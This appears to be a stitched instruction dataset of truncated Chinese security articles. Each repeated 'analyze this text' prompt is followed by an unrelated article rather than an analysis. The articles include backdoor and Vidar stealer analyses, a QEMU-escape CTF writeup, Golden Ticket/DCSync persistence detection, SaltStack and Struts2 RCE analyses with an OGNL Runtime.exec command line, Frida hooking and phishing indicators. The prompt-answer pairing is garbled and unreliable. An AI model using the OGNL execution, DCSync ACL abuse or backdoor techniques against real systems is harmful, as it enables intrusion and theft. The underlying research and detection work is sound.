修改时间 | 2019:10:22 02:53:14
本次攻击活动攻击者使用心里测验相关内容为诱饵，诱导用户启用宏：
启用宏需要点击文档中的笑脸图标，从而执行恶意宏代码：
恶意宏代码执行后会将恶意PowerShell代码写入到%temp%目录下并通过PowerShell.exe执行：
### PowerShell脚本分析
释放的PowerShell脚本是一个后门，硬编码了三个C2地址：
执行后与内置的C2服务器进行通信，若通信失败，则休眠一段时间尝试连接其他C2地址：
最后从C2获取命令执行，根据不同的命令执行不同功能：
其支持的后门命功能如下表所示：
命令ID | 功能
---|---
2 | 设置休眠时间
3 | 结束本进程
11 | 获取本机基本信息上传
12 | 检查恶意程序当前状态
14 | 显示当前恶意程序配置
15 | 更新恶意程序C2等配置
18 | 通过cmd执行命令
20 | 上传指定文件
21 | 下载文件保存到指定文件
24 | 执行命令
部分恶意功能代码对应如下：
获取本机计算机名、IP地址、系统版本号等信息并上传：
通过CMD执行C2下发的命令：
更新C2服务器配置信息：
上传指定的文件：
下载文件保存到指定位置：
### macOS Backdoor分析
经过关联分析，奇安信威胁情报中心关联到使用相同C2且针对macOS平台的攻击样本，样本基本信息如下：
文件名 | Album.app.zip
---|---
MD5 | a8096ddf8758a79fdf68753190c6216a
样本解压后是macOS上的app应用程序，目录结构如下：
当点击启动app应用程序时，系统会从info.plist中获取应用信息。info.plist文件包括图标，可执行二进制文件名称，加载界面文件等对应用程序的基本描述。该恶意Flash
Player通过info.plist执行起来：
Flash Player运行后首先从自身偏移0x1340，截取大小0x6c74的数据保存到.FlashUpdateCheck：
之后写入配置文件com.adobe.macromedia.flash.plis，并通过launchctl
load加载配置文件，从而使配置文件生效并实现.FlashUpdateCheck的自启动：
接着使用chmod命令提升.FlashUpdateCheck权限：
.FlashUpdateCheck文件相关信息如下：
文件名 | .FlashUpdateCheck
---|---
MD5 | bac54e7199bd85afa5493e36d3f193d2
该文件具有后门功能，功能与前述PowerShell后门基本一致，且同样硬编码了三个C2地址：
其运行后会与C2通信获取需要执行的指令：
之后根据C2指令执行不同的恶意功能：
对应的功能列表如下：
命令ID | 功能
---|---
2 | 设置休眠时间
3 | 结束本进程
11 | 获取本机基本信息上传
12 | 检查恶意程序当前状态
14 | 显示当前恶意程序配置
15 | 更新恶意程序C2等配置
18 | 通过bash执行命令
19 | 执行其他命令
20 | 上传指定文件
21 | 下载文件
24 | 通过system执行
25 | 通过system执行
## 溯源与关联
通过对本次攻击...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# QEMU-Pwn-XNUCA-2019-vexx
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 描述
官方给了下载链接，然后一段描述给了用户名和密码：
    user: root
    pass: goodluck
    Try to escape the QEMU world!
压缩包下载下来，看目录：
    $ ll
    -rw-r--r-- 1 raycp raycp 4.2M Aug  6 01:42 bzImage
    -rwxr-xr-x 1 raycp raycp  228 Aug 23 19:04 launch.sh
    drwxr-xr-x 6 raycp raycp 4.0K Aug  6 01:42 pc-bios
    -rwxr-xr-x 1 raycp raycp  58M Aug  6 01:42 qemu-system-x86_64
    -rw-r--r-- 1 raycp raycp  60M Aug  6 01:42 rootfs.ext2
`launch.sh`内容：
    #!/bin/sh
    ./qemu-system-x86_64 -hda rootfs.ext2 -kernel bzImage -m 64M -append "console=ttyS0 root=/dev/sda oops=panic panic=1" -L ./pc-bios -netdev user,id=mynet0 -device rtl8139,netdev=mynet0 -nographic -device vexx -snapshot
根据参数`-device vexx`，多半是要去找`vexx`里面的漏洞。
## 分析
`sudo ./launch.sh`把虚拟机跑起来，然后将`qemu-system-x86_64`拖进IDA里面。
在函数里面搜索`vexx`，查看相关函数：
查看`vexx_class_init`函数，知道了`vendor_id`是`0x11E91234`，`realize`函数是`pci_vexx_realize`。
    # lspci
    00:01.0 Class 0601: 8086:7000
    00:04.0 Class 00ff: 1234:11e9
    ...
    # cat /sys/devices/pci0000:00/0000:00:04.0/resource
    0x00000000febd6000 0x00000000febd6fff 0x0000000000040200
    0x00000000febd0000 0x00000000febd3fff 0x0000000000140204
    ...
    # cat /proc/iomem
    ...
      febd0000-febd3fff : 0000:00:04.0
    ...
      febd6000-febd6fff : 0000:00:04.0
    ...
通过命令知道了该设备有两个MMIO地址空间，一个地址为`0xfebd0000`，大小为`0x4000`；另一个则地址为`0xfebd6000`，大小为`0x1000`。
去看`pci_vexx_realize`函数：
    void __fastcall pci_vexx_realize(VexxState *pdev, Error_0 **errp)
    {
      ...
      if ( !msi_init(&pdev->pdev, 0, 1u, 1, 0, errp) )
      {
        timer_init_full(&v2->vexxdma.dma_timer, 0LL, QEMU_CLOCK_VIRTUAL, 1000000, 0, (QEMUTimerCB *)vexx_dma_timer, v2); //注册 vexx_dma_timer
        ...
        memory_region_init_io(&v2->mmio, &v2->pdev.qdev.parent_obj, &vexx_mmio_ops, v2, "vexx-mmio", 0x1000uLL);  //注册大小为0x1000的mmio
        memory_region_init_io(&v2->cmb, &v2->pdev.qdev.parent_obj, &vexx_cmb_ops, v2, "vexx-cmb", 0x4000uLL);        //...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 不看不知道，原来00后“小司机”也翻车！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
年纪轻轻学会了上网，常年网上走，就能成为“老司机”吗？
NO！
根据以往的情况看，谁经常上网，谁就是网络威胁的受！害！者！
尚处于年少阶段的00后虽触网较早但防骗意识严重不足，已逐渐成为了不法分子眼中的“肥肉”。
大数据显示38.6%的00后收到了一份最不想要的“成人礼”！00后已经由过去的第三、第四突然跃居到网络诈骗受害者数量第一的位置。
颠覆认知！！！钓鱼网站比去年多7！倍！世界杯博彩诈骗，让人比梅西更慌
2018年上半年，我们竟然经历如此之多！用大数据揭秘生活工作中我们面临的那些“深坑”！如何避免“踩坑”？
您的浏览器不支持video标签


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 攻击检测之域权限维持
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.背景介绍
本文主要是对域环境下的权限维持手法进行攻击检测以及清理，攻击的方法不着重描述，检测的方法只针对终端日志（windows，sysmon）,权限维持的手法也只涉及域环境独有的，像普通终端也存在的启动项计划任务服务等不考虑在内，利用漏洞的也直接排除了直接打补丁就好了。
## 2.域持久化
###  1.黄金票据
**1.攻击手法介绍**
黄金票据（Golden Ticket)：它能在拥有普通域用户权限和krbtgt
hash的情况下，获取域管理员权限。krbtgt账户：每个域控制器都有一个”krbtgt”的用户账户，是KDC的服务账户，用来创建票据授予服务(TGS)加密的密钥。
图中我伪造了一个名为ceshi的账户,这里其实任何账户都行域里不存在账户也可以随便伪造（微软的MS-KILE解释：Kerberos
V5不提供对TGS请求的帐户撤销检查，只要TGT有效，即使该帐户已被删除，TGT更新和服务票据也可以发布。KILE提供了一个可以将利用时间限制在较短的时间内（20分内）。当TGT大于20分钟时，KILE
KDC需要在域中检查账户。
）
**2.攻击检测**
windows4624记录了安全IDadministrator在10.43.120.26地址登陆，并且账户名与安全ID(500代表了域管账号)并不一致,安全ID其实就是SID，事件查看器会自动尝试解析
SID 并显示帐户名。 如果无法解析
SID，将在事件中看到源数据，正常来说账户名应该与安全ID对应，这里很明显ceshi账户是伪造的,但是攻击者只要伪造administrator名字来伪造票据就可以躲过了，但是administrator在非常用的IP地址段出现就是异常的了这里也可以检测一下。黄金票据攻击在终端日志侧不是很明显的能够检测，很难区分他是不是正常的，正常来说认证访服务的流程是先4768（TGT）-4769（TGS）-4624（logon），但是黄金票据攻击的话只会有4769-4624，因为TGT已经离线生成了。但是kerberos票据的有效期一般是4个小时（特殊组的用户）或者是10个小时，也就是说TGT在之前申请过了就可以保留4-10个小时之间那么这个时间触发攻击还是只有4769-4624，最好还是流量检测黄金票据攻击。
**3.防御清除**
如果通过告警已经确定了攻击者已经拿下了域控那么肯定会导出所有账号密码，黄金票据是肯定是存在的，这个时候就需要修改krbtgt账号的密码了，需要修改两次。（Active
Directory中对定期迭代的帐户防止密码重用，默认密码策略被设置为记住24个历史密码，而且至少也要迭代一次保存于电脑帐户。即使密码已更新,也会继续使用前面的密码散列进行身份验证）,如果不是很紧急的话最好不要连续修改2次密码，这样会引起域内工作不正常，最好是10个小时以后再修改第二次krbtgt的密码。官方有专门的重置密码的脚本https://github.com/microsoft/New-KrbtgtKeys.ps1,建议使用官方脚本进行重置，并且定期重置一次。
###  2.DCSYNC维持权限
**1.攻击手法介绍**
DCSync是mimikatz的一个功能，能够模拟域控制器并从域控制器导出帐户密码hash，如果我们在域内一台主机上获得了域管理员权限，可以使用如下命令直接导出域内所有用户的hash：默认情况下，只有Domain
Controllers和Enterprise Domain
Admins权限能够使用DCSync但我们可以对域内普通用户添加如下两条ACL实现普通用户调用DCSync导出域内所有用户的hash
DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)和DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
可以使用powerview添加ACL：<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>
我这里给win10用户添加了dcsync的权限，这样我在win10机器上也可以导出域内用户hash
**2.攻击检测**
从windows日志4662可以清楚的看到DS-Replication-GetChanges(GUID:
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)和DS-Replication...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# SaltStack未授权RCE分析（CVE-2021-25281 25282 25283）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2月26号，那是一个风和日丽的夜晚，我看着电脑，电脑看着我。群里的大佬突然就甩了一个saltstack
未授权任意文件写入的poc，告诉我后面还有个RCE。我看着大佬，大佬看着我，我看了看自己日渐下降的技术，狠狠心跟了一波这个漏洞。
## 背景
SaltStack管理工具允许管理员对多个操作系统创建一个一致的管理系统，包括VMware
vSphere环境。SaltStack事件驱动的自动化软件帮助IT组织大规模管理和保护云基础设施，同时自动化高效编排企业DevOps工作流。
2月26号，SaltStack发布高危漏洞通告。漏洞通过 **CVE-2021-25281 未授权访问** 和 **CVE-2021-25282
任意文件写入** ，最后配合 **CVE-2021-25283 模板注入** 完成了未授权RCE的组合洞。
## Debug环境配置
去github挑一个漏洞范围内的版本下载下来，我下载的版本为salt-3002.1，环境为了方便调试选择Ubuntu
解压完进入scripts目录，里面是salt的启动脚本
    sudo cp -r * /usr/local/bin/
pip创建链接用的egg，方便一会直接debug
    pip3 install -e .
创建/etc/salt/目录，写入如下配置文件，为了方便 ~~偷懒~~ 调试，将disable_ssl设置为true，省去生成ssl证书的环节
/etc/salt/master.d/netapi.conf
    rest_cherrypy:
      port: 8000
      disable_ssl: True
    external_auth:
      pam:
        saltdev:
          - .*
          - '@wheel'   # to allow access to all wheel modules
          - '@runner'  # to allow access to all runner modules
          - '@jobs'    # to allow access to the jobs runner and/or wheel module
/etc/salt/master.d/autoaccept.conf
    auto_accept: True
启动测试一下
    sudo salt-master
    sudo salt-api -l all #打印所有信息
用vscode打开salt项目，创建lanuch.json文件
    {
        // Use IntelliSense to learn about possible attributes.
        // Hover to view descriptions of existing attributes.
        // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
        "version": "0.2.0",
        "configurations": [
            {
                "name": "FA1C0N",
                "type": "python",
                "request": "launch",
                "program": "/usr/local/bin/salt-api",
                "console": "integratedTerminal",
                "args": [
                  "-l","all"
                ],
                "sudo": true,
            }
        ]
    }
debug的时候先开个终端启动salt-master，再用vscode debug salt-api
## wheel_async未授权访问（CVE-2021-25281）& wheel/pillar_roots.py文件任意写漏洞
(CVE-2021-25282 )
直接访问salt-api的端口...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# CVE-2019-0230： S2-059 远程代码执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Hu3sky@360CERT
## 0x01 漏洞简述
2020年08月13日，
360CERT监测发现`Apache官方`发布了`Struts2远程代码执行漏洞`的风险通告，该漏洞编号为`CVE-2019-0230`，漏洞等级：`高危`。漏洞评分：`8.5`。
`攻击者`可以通过构造恶意的`OGNL表达式`，并将其设置到可被外部输入进行修改，且会执行`OGNL`表达式的`Struts2`标签的属性值，引发`OGNL表达式`解析，最终造成`远程代码执行`的影响。
对此，360CERT建议广大用户及时将`Apache Struts2`进行升级完成漏洞修复。与此同时，请做好资产自查以及预防工作，以免遭受黑客攻击。
## 0x02 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级
---|---
威胁等级 | 中危
影响面 | 一般
360CERT评分 | 8.5分
## 0x03 影响版本
  * Apache Struts2：2.0.0-2.5.20
## 0x04 漏洞详情
根据官方发布的信息来看，漏洞产生的主要原因是因为`Apache
Struts`框架在强制执行时，会对分配给某些标签属性(如`id`)的属性值执行二次`ognl`解析，对于精心设计的请求，这可能导致远程代码执行(`RCE`)。
官方给出的利用场景如下：
    <s:url var="url" namespace="/employee" action="list"/><s:a id="%{skillName}" href="%{url}">List available Employees</s:a>
这里的`id`属性里的值使用了`ognl`表达式进行包裹，同时该值如果可控，那么就会因为两次的解析而造成`ognl`表达式执行。
**该分析在较低版本中进行测试，仅对漏洞产生原理进行分析，如在高版本中进行执行命令，需绕过沙箱。**
### 拦截器处理请求值
首先，我们需要明确`jsp`是如何进行取值的。
在`com.opensymphony.xwork2.interceptor.ParametersInterceptor`这个拦截器里，会获取我们传入的值。
`ActionContext`存储着当前上下文的请求信息。
在`ParametersInterceptor`里，会把请求的值存入`ValueStack`类型的栈里，这里是`OgnlValueStack`，具体在`setParameters`里。
会调用`stack`的`setValue`方法进行赋值。
接着就会进行一系列复杂的处理，获取`action`指向的`jsp`。然后开始处理对应的`jsp`标签。
### id标签解析
在`org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag`方法中。
从`valueStack`里获取相关的请求值，然后调用`populateParams`方法，该方法对标签进行处理，其中包括`id`标签。
于是跟进`org.apache.struts2.components.Component#setId`方法。
`id`属性不为`null`，于是继续跟进`findString`方法。 然后跟入`findValue`，由于`altSyntax`默认为`true`(
_这个功能是将标签内的内容当作`OGNL`表达式解析，关闭了之后标签内的内容就不会当作`OGNL`表达式解析了_)，所以最终进入`translateVariables`方法(高版本对应的是`evaluate`方法)。
这里会对`id`，也就是`%{skillName}`进行`ognl`表达式执行，执行完剩余部分就是`skillName`。`translateVariables`代码如下：
    public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
            Object result = expression;
            char[] arr$ = openChars;
    int len$ = openChars.length;
      ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 程序分析理论 第三部分 控制流分析 理论证明
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这一篇文章是程序分析理论的理论部分的第七篇，是控制流分析部分的数学表示合理性的理论证明。
距离上一篇的发布已经很久了，所以做一个简单回顾。
目前讲了数据流分析过程间和过程内分析以及理论部分，其中理论部分讲到了结构归纳法，完全格和半序集。过程内分析有流分析，可用表达式Available
Expressions Analysis，结果表达式 Reaching Definition Analysis，必定使用表达式Very Busy
Expressions Analysis，活变量分析Live Variables
Analysis。（翻译为个人理解）以及UD链。过程间分析包括上下文敏感和流敏感以及指针表达式。以及上一篇的控制流分析的抽象化和数学表示。
## 结构上的操作语义 Structural Operational Semantics
理论分析需要借助结构归纳法，所以我们要先将代码描述成结构。由于我们不再记录每一步操作后的变量值，所以我们只记录最初值和变量名
v用来表示value值 ρ表示变量组
v要记录所在语句，变量组。所以我们可以列出这样的表达式：v ::= c | close t in ρ
相对的ρ要记录变量名和值 ： ρ ::= [] | ρ[x -> v]
也就有fn x => e_0可以表示为 close(fn x => e_0) in ρ
由于控制流分析不记录过程中变量的变化，所以会出现中间变量，也就是调用一个函数时，会有一个初始值，而整个程序也有一个初始值，函数的初始值就是中间变量，也就是局部变量。
我们用ie表示中间出现的表达式，it表示中间出现的项
表达式就是经过标签处理的代码，而项就是表达式中除去标签的部分。因为局部变量作用域需要记录，所以it会出现bind ρ in
ie来实现记录作用域。相对的其值也需要记录，所以it又会有close t in ρ的情况
## 例子 Examples
上述式子中包括let in 结构，fn结构以及fun f结构，首先对两个fn结构进行处理：fn y => y ^2 |- close(fn y => y
^2) 我们用id_y表示 fn z => z ^7 |- close(fn z => z ^7) 我们用id_z表示。然后是fun f 结构fun f x
=> (f ^1 (fn y => y ^2)) |- close(fun f x => (f ^1 (fn y => y ^2)))，我们用f表示。
对fn和fun f结构的处理主要是将函数转化为返回值形式作为参数实现控制流分析，也就是将操作当作参数。
let in结构则处理成控制流程图的形式：由于fun f 我们以f作为返回值，所以原结构变成 let g = f ^5 in (g ^6 (fn z =>
z ^7) ^8) ^9。而g = f ^5则是in部分的处理方式，我们记录g与f的转化关系记为bind[g -> f]。后续in部分g
^6由于g与f的转化关系我们将原结构处理成(f ^6 (fn z => z ^7) ^8) ^9。最后将fn z记为 id _z。
最终的表达方式是bind[g -> f] in (f ^6 id_z ^8) ^9。也就是先进行f操作再进行z操作得到的最终结果：(bind [ g ->
f] in (bind [ f-> f] [x -> id_z] in (f ^1(fn y => y ^2) ^3) ^4) ^9) ^10)
由于上述例子处于递归循环结构当中，我们要进行一定的处理，在这个处理过程中，我们不改变g和f的对应关系，也不改变z的操作，只是在函数循环过程中多次执行y操作实现循环，也就是(bind
[ g -> f] in (bind [ f-> f] [x -> id_z] in (bind [ f-> f] [x -> id_y] (f ^1(fn
y => y ^2) ^3) ^4) ^4) ^9) ^10)
## 语义正确Semantic Correctness
我们要证明控制流分析的语义是正确的，首先我们证明过程间的操作语义是合理的：也就是要证明close t in
p是合理的，即一个函数抽象t使用的参数一定包含于p中。除此之外，我们还要保证 t
的子语句中的ie一定是小于母语句中的ie的。这一点的证明我们只需要说明对于每一次调用都只使用本地环境，即任意参数被调用都在本地环境中存在，同时由于只使用本地环境，随着语句的不断更细的分析，ie一定是递减的。
所以对于语义分析，存在一定条件使得上述等式成立：
对于x ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Vidar窃密木马分析（上）
|
##### 译文声明
本文是翻译文章，文章原作者 fumik0，文章来源：fumik0.com
原文地址：<https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
有时，当你对海量的恶意软件检测结果进行分析时，你可能并不希望一些看似无关痛痒的小细节会对最终的判定造成影响。
前不久，我因为将遇到的恶意软件误认为 Arkei（一款功能强大的窃密木马）而付出了代价。根据当时我设置的Yara规则，显示匹配到的是
Arkei，但是经过逆向分析之后，我发现遇到的这个恶意软件并非Arkei。一些与Arkei特征相关的字符串都被删除了，取而代之的是“Vidar”。经过深度分析后，我发现
它是由Arkei优化改进得到的，除了一些细节之外，其他部分和Arkei区别不大。
这款恶意软件使用C++编写，似乎在2018年10月初就已经开始活动，它具有窃取木马的所有典型功能：
  * 搜索特定文档
  * 从浏览器窃取cookie
  * 窃取浏览器历史记录（包括tor浏览器）
  * 窃取数字货币钱包
  * 从带有2FA（双因素认证）的软件窃取数据
  * 从消息应用中窃取数据
  * 屏幕截图
  * 安装Loader
  * Telegram通知（服务器端）
  * 获取受害者计算机信息快照
在黑市/论坛中，这款窃密木马以250-700美元的价格进行出售。购买后，可以通过访问C2域名来生成专属的payload，所以没有统一管理端。除此之外，C2域名每4天就会进行更新。
在本文中，我将对4.1版本的Vidar进行深入分析，并介绍其管理面板，说明它和Arkei的差异。
## 定向投递
首先，如果受害者机器使用[GetUserDefaultLocaleName](https://docs.microsoft.com/en-us/windows/desktop/api/winnls/nf-winnls-getuserdefaultlocalename)来配置语言，我们可以使用很经典的方式（改变系统语言）来中止恶意软件。这也是检查恶意软件是否不会对一些特定的国家/地区进行感染最简单的办法之一。
正如MSDN所声明的，“local”中以集合的方式展示用户的语言偏好。窃密软件将检查被入侵主机的是否设置为以下语言：
谷歌一下，我们就能知道这是哪些哪些国家/地区的简称：
LCID Structure – <https://msdn.microsoft.com/en-us/library/cc233968.aspx>
Language Code Table – <http://www.lingoes.net/en/translator/langcode.htm>
LocaleName – <https://docs.microsoft.com/fr-fr/windows/desktop/Intl/locale-names>
Locale – <https://docs.microsoft.com/fr-fr/windows/desktop/Intl/locales-and-languages>
## 互斥体
对于每个受害者，Vidar将生成唯一的特征字符串。它的形成很简单，就是由2个字符串拼接后得到的。
**硬件配置ID**
[GetCurrentHwProfileA](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-getcurrenthwprofilea)用于检索具有[szHwProfileGuid](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-taghw_profile_infoa)值的计算机的当前硬件配置信息。如果执行失败，它将返回“Unknown”。
**计算机GUID**
通过[RegOpenKeyExA](https://docs.microsoft.com/en-us/windows/desktop/api/winreg/nf-winreg-regopenkeyexa)，可以在注册表中获取该值：
`HKEY_LOCAL_MACHINESOFTWAREMicrosoftCryptographyMachineGuid`
Windows在安装操作系统时会生成[UUID](https://msdn....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

最近在审计yunucms，审计了几个后台漏洞，有XSS和文件泄露几个。
## yunucms介绍
云优CMS是一款基于TP5.0框架为核心开发的一套免费+开源的城市分站内容管理系统。云优CMS前身为远航CMS。云优CMS于2017年9月上线全新版本，二级域名分站，内容分站独立，七牛云存储，自定义字段，自定义表单，自定义栏目权限，自定义管理权限等众多功能深受用户青睐。
## 建站
从[官网](www.yunucms.com/Buy/program.html)下载源码并进行过安装
需要注意的是需要填云账号，我去官网注册了一个随便填上了，账号testqwe，密码123456，手机号利用的在线短信注册的
填上MySQL密码即可
前台界面
## 漏洞复现
### XSS
#### 漏洞测试
后台TAG管理模块
进行添加TAG
在名称处填入XSS代码并提交
返回模块即可看到效果
查看源码，发现已经插入
查看数据库
#### 代码审计
    http://127.0.0.1/index.php?s=/admin/tagurl/addtagurl
该cms路由为`目录/文件/方法`，直接查看方法
    public function addTagurl()
        {
            if(request()->isAjax()){ # 判断是否是ajax请求
                $param = input('post.'); # 获取参数
                $tagurl = new TagurlModel();
                $flag = $tagurl->insertTagurl($param); # 将结果进行保存并返回响应
                return json(['code' => $flag['code'], 'data' => $flag['data'], 'msg' => $flag['msg']]);
            }
            return $this->fetch();
        }
跟进insertTagurl方法
    public function insertTagurl($param)
        {
            try{
                $result = $this->allowField(true)->save($param); # 保存当前数据对象
                if(false === $result){
                    return ['code' => -1, 'data' => '', 'msg' => $this->getError()];
                }else{
                    return ['code' => 1, 'data' => '', 'msg' => '添加TAG成功'];
                }
            }catch( PDOException $e){
                return ['code' => -2, 'data' => '', 'msg' => $e->getMessage()];
            }
        }
继续跟进save方法
    if (!empty($data)) {
                // 数据自动验证
                if (!$this->validateData($data)) { # 验证集为空，直接返回true
                    return false;
                }
                // 数据对象赋值
                foreach ($data as $key => $value) {
                    $this->setAttr($key, $value, $data); # 将参数赋值给$this->data数组
                }
                if (!empty($where)) {
                    $this->isUpdate = true;
                }
            }
    ......
    $result = $thi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# FRIDA脚本系列（二）成长篇：动静态结合逆向WhatsApp

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在[FRIDA脚本系列（一）入门篇：在安卓8.1上dump蓝牙接口和实例](https://www.anquanke.com/post/id/168152)中，我们学到了枚举模块中所有的类、子类及其方法，以及找到其所有重载，最终还通过蓝牙接口来小小的实战了一下。这一篇我们倒着来，从`hook`所有重载开始，写一个可以动态观察所有模块、类、方法等接口数据的工具出来。
## 0x01.hook方法的所有重载
在[一篇文章带你领悟Frida的精髓（基于安卓8.1）](https://github.com/hookmaster/frida-all-in-one/blob/master/03.%E5%9F%BA%E6%9C%AC%E6%A1%88%E4%BE%8B%E4%B8%8A%E6%89%8B/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E9%A2%86%E6%82%9FFrida%E7%9A%84%E7%B2%BE%E9%AB%93\(%E5%9F%BA%E4%BA%8E%E5%AE%89%E5%8D%938.1)/READMD.md)一文中，我们已经学会了对放的重载进行处理的方法，我们先回顾一下代码：
    my_class.fun.overload("int" , "int").implementation = function(x,y){
    my_class.fun.overload("java.lang.String").implementation = function(x){
也就是说我们需要构造一个重载的数组，并把每一个重载都打印出来。我们直接上代码：
    //目标类
    var hook = Java.use(targetClass);
    //重载次数
    var overloadCount = hook[targetMethod].overloads.length;
    //打印日志：追踪的方法有多少个重载
    console.log("Tracing " + targetClassMethod + " [" + overloadCount + " overload(s)]");
    //每个重载都进入一次
    for (var i = 0; i < overloadCount; i++) {
    //hook每一个重载
        hook[targetMethod].overloads[i].implementation = function() {
            console.warn("n*** entered " + targetClassMethod);
            //可以打印每个重载的调用栈，对调试有巨大的帮助，当然，信息也很多，尽量不要打印，除非分析陷入僵局
            Java.perform(function() {
                 var bt = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new());
                    console.log("nBacktrace:n" + bt);
            });
            // 打印参数
            if (arguments.length) console.log();
            for (var j = 0; j < arguments.length; j++) {
                console.log("arg[" + j + "]: " + arguments[j]);
            }
            //打印返回值
            var retval = this[targetMethod].apply(this, arguments); // rare crash (Frida bug?)
            console.log("nretval: " + retval);
            console.warn("n*** exiting " + targetClassMethod);
            return retval;
   ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Struts2 漏洞exp从零分析

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
从零开始分析struts2代码执行exp，其中不但包括了struts2自己设置的防护机制绕过，还有ognl防护绕过。以s2-057为列，因为有三个版本的exp，从易到难，比较全。文章中包含的前置内容也比较多。
## 0x01 前置知识OGNL
struts2命令执行是利用ognl表达式，所以必须了解ognl。
###  1、HelloWorld
OGNL有三大要素，分别是表达式、Context、根对象。
使用ognl表达式的时候，是使用`Object ognl.Ognl.getValue(String expression, Map context,
Object root)` api执行ognl表达式。
参数说明：
`expression` ognl表达式
`context` 是一个实现了Map接口的对象
`root` bean对象
来写一个helloworld，将上面抽象的东西实践一番。
    class People{
        public Integer age;
        public String realName;
        public void setAge(Integer age) {
            this.age = age;
        }
        public void setRealName(String name) {
            this.realName = name;
        }
        public Integer getAge() {
            return this.age;
        }
        public String getRealName() {
            return this.realName;
        }
    }
    public class Temp {
        public static void main(String[] args) throws OgnlException {
            People root = new People();
            root.setAge(100);
            root.setRealName("lufei");
            OgnlContext context = new OgnlContext();
            context.put("nikename", "lufeirider");
            //注意非根对象属性，需要加上#号
            Object nikeName = Ognl.getValue("#nikename",context,root);
            System.out.println(nikeName);
            //使用跟对象属性时候，不需要加#号
            Object realName = Ognl.getValue("realName",context,root);
            System.out.println(realName);
            //@[类全名(包括包路径)@[方法名|值名]]
            //执行命令
            Object execResult = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context);
            System.out.println(execResult);
        }
    }
输出结果
    lufei
    lufeirider
    java.lang.ProcessImpl@1f17ae12
###  2、OgnlContext类
因为exp中常常利用赋值，改安全属性，而赋值操作在这个类中，所以好好看下这个类如何进行赋值与取值。（源码下载地址：[https://github.com/jkuhnert/ognl）](https://github.com/jkuhnert/ognl%EF%BC%89)
`public class OgnlContext extends Object implements Map`，它是实现了Map接口的类。...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**译者：知道创宇404实验室翻译组**
**原文链接：<https://www.proofpoint.com/us/blog/threat-insight/geofenced-amazon-japan-credential-phishing-volumes-rival-emotet>**
### 介绍
自2020年8月以来，Proofpoint的研究人员跟踪了大量的Amazon
Japan凭证和信息网络钓鱼活动，这种可疑活动可追溯到2020年6月。这些信息冒充Amazon
Japan，暗示接收者需要检查他们的帐户，以确认“所有权”或“更新的付款信息”。单击邮件中的链接后，收件人将进入以Amazon为主题的凭证仿冒登录页面，这些页面收集凭证、个人识别信息（PII）和信用卡号码。这些信息已经被发送到日本的某些组织。这些页面被防护，以确保只有基于日本的收件人才能被带到凭证仿冒页面。
虽然像Amazon这样的流行品牌经常在凭证钓鱼活动中被滥用，但该活动的邮件信息量非常大。这些活动持续不断，每天发送数十万条信息。截至10月中旬，有时一天内收到的信息超过100万条，与Emotet的信息量不相上下。
### 诱饵和登陆页面
这些信息是精心制作的日语诱饵，提示收件人的信息需要更新或其帐户已被锁定：
  * Amazon.co.jpアカウント所有権の证明（名前，その他个人情报）の确认（“ Amazon.co.jp帐户（姓名和其他个人信息）的所有权证明的确认”）（图1）
  * お支払い方法の情报を更新（“更新的付款方式信息”）（图2）
  * アカウントがロックされたので，ご注意下さい（“请注意，您的帐户已被锁定”）（图3）
图1：带有主题的诱惑，“确认Amazon.co.jp帐户的所有权证明（名称和其他个人信息）”
图2：带有主题的诱饵，“更新的付款方式信息”
图3：带有主题的诱饵，“请注意您的帐户已被锁定”
邮件中的图片，比如Amazon的logo，都是从免费的图片托管服务中热链接而来的，同样的图片网址已经在多个活动中被观察到。
这些信息声称来自Amazon，尽管它们的电子邮件地址伪装的不太好，例如以下示例：
  * rmlirozna[@]pw[.]com
  * fwgajk[@]zfpx[.]cn
  * info[@]bnwuabd[.]xyz
  * dc[@]usodeavp[.]com
到2020年10月初，他们在努力使发件人地址看起来合法：
  * amaozn[@]ama2on[.]buzz
  * accout-update[@]amazon[.]co.jp
  * account-update[@]amazon[.]com
  * admin[@]amazon-mail[.]golf
在检查消息的URLs时，我们看到它们包含OpenID的参数（图4），这是Amazon
